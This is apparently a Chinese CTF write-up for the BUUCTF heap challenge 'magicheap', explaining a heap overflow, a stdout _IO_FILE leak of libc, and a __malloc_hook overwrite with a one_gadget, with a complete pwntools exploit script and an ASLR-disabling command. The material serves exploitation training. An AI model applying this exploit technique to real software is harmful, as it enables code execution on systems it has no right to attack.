本文来自社区成员,章鱼哥投稿欢迎大家投稿。投稿可获得无问社区AI大模型的使用红包哦!
我们无问社区通过使用全球大量行业技术语料进行训练,截至目前无问AI在红蓝对抗、应急响应、等保、风险评估、安全咨询等方面无论是知识面的或者是深度都有着极为出色的表现。
还可进行连续问答和图片识别问题并解答。
0x01 开篇stdout
最近在buuctf上找到这么一道题目【hitcontraining_magicheap】
解答完感觉思路挺有意思,就来分享一下
通过无问AI模型先给大家讲解一下什么是stdout
stdout
是程序默认的输出流,其底层是一个 _IO_FILE
结构体。在漏洞利用中,攻击者可以通过修改 stdout
结构体的字段,控制程序的输出行为,从而泄露内存地址或绕过保护机制。本文中,stdout
结构体被用作泄露 libc 地址的关键目标,是漏洞利用中的重要一环。
0x02 开始正式做题
例行检查:
除了pie,其他保护机制都开了。放到IDA中分析
漏洞分析:
- 菜单功能:
- 程序提供了一个菜单,允许用户进行堆块的创建、编辑和释放操作。
- 程序没有直接的输出功能,这意味着我们需要通过其他方式泄露内存地址。
发现程序是没有输出功能的,这里我们想到了去打stdout结构体来leak出地址,
这里是有一个后门的,我设置了满足的条件发现没出flag,应该比赛的环境下flag路径是对的,但buuctf路径是不对的,所以我们就去get shell拿flag。
漏洞点在edit()函数中
creat_heap()函数获取我们的大小后,在edit()中又再次让我们输入大小,存在堆溢出.
接下来我们就对堆溢出进行利用.
0x03 漏洞的利用与调试
为了调试放便,我借用了rencvn大佬的方法,通过命令:
echo 0 > /proc/sys/kernel/randomize_va_space 关掉地址随机化
我们的整体思路:
1.打stdout结构体leak出libc地址
2.劫持malloc_hook,覆盖成one_gadget
3.申请触发one_gadget
我们先申请几个堆块看看堆布局的情况:
此时堆中布局:
通过堆溢出,改写1号堆块的size位,引起向下合并
free(2)
edit(0,0x70,'A'*0x60+p64(0)+p64(0x181))
此时:
我们在通过free(1),在申请出来,残留main_arena指针在fastbin中,
free(1)
add(0x100,'A')
此时堆中布局:
在次利用堆溢出,覆盖main_arena低地址两字节,劫持到stdout结构体附近
edit(1,0x120,'A'*0x100+p64(0)+p64(0x71)+'xddx25')#这里没直接用stdout的低字节,而是
stdout-0x43的地址,绕过ubantu16下的堆头检查机制
接下来覆盖stdout即可leak出地址
add(0x60,'A')
payload = 'A'*0x33
payload += p64(0xfbad1800)
payload += p64(0)*3
payload += 'x00'
add(0x60,payload)
leak = u64(io.recvuntil('x7f')[-6:].ljust(8,'x00'))
success(hex(leak))
libc_base = leak-0x3c5600
malloc_hook = libc_base + libc.sym['__malloc_hook']
success(hex(malloc_hook))
one= [0x45226,0x4527a,0xf03a4,0xf1247]
one1 = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base +one[3]
add(0x60,'ccccc')
free(3)
edit(2,0x80,'A'*0x60+p64(0)+p64(0x71)+p64(malloc_hook-0x23))
add(0x60,'A')
add(0x60,'A'*0x13+p64(one_gadget))
choice(1)
io.recvuntil(':')
io.sendline('20')
io.interactive()
from pwn import *
elf = ELF('./magicheap')
io = remote('node4.buuoj.cn',27557)
#io = process('./magicheap')
#libc = elf.libc
libc = ELF('./libc-2.23.so')
context.log_level='debug'
def choice(c):
io.recvuntil(':')
io.sendline(str(c))
def add(size,content):
choice(1)
io.recvuntil(':')
io.sendline(str(size))
io.recvuntil(':')
io.send(content)
def edit(index,size,content):
choice(2)
io.recvuntil(':')
io.sendline(str(index))
io.recvuntil(':')
io.sendline(str(size))
io.recvuntil(':')
io.send(content)
def free(index):
choice(3)
io.recvuntil(':')
io.sendline(str(index))
add(0x60,'AAA')
add(0x100,'AAA')
add(0x60,'AAA')
add(0x60,'AAA')
free(2)
edit(0,0x70,'A'*0x60+p64(0)+p64(0x181))
free(1)
add(0x100,'A')
edit(1,0x120,'A'*0x100+p64(0)+p64(0x71)+'xddx25')
gdb.attach(io)
add(0x60,'A')
payload ='A'*0x33
payload += p64(0xfbad1800)
payload += p64(0)*3
payload +='x00'
add(0x60,payload)
leak = u64(io.recvuntil('x7f')[-6:].ljust(8,'x00'))
success(hex(leak))
libc_base = leak-0x3c5600
success(hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
success(hex(malloc_hook))
#one= [0x45226,0x4527a,0xf03a4,0xf1247]
one1 = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base + one1[3]
add(0x60,'ccccc')
free(3)
edit(2,0x80,'A'*0x60+p64(0)+p64(0x71)+p64(malloc_hook-0x23))
add(0x60,'A')
add(0x60,'A'*0x13+p64(one_gadget))
choice(1)
io.recvuntil(':')
io.sendline('20')
#gdb.attach(io)
io.interactive()
0x04 总结
stdout 是程序默认的输出流,其底层是一个 _IO_FILE
结构体。在漏洞利用中,攻击者可以通过修改 stdout
结构体的字段,控制程序的输出行为,从而泄露内存地址或绕过保护机制。本文中,stdout
结构体被用作泄露 libc 地址的关键目标,是漏洞利用中的重要一环。
最后,欢迎点赞评论留下自己的看法,会随机抽取五名幸运儿赠送,无问社区社区红包!
欢迎大家前来使用无问AI大模型
原文始发于微信公众号(白帽子社区团队):从漏洞到Shell:堆溢出漏洞利用实战指南
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论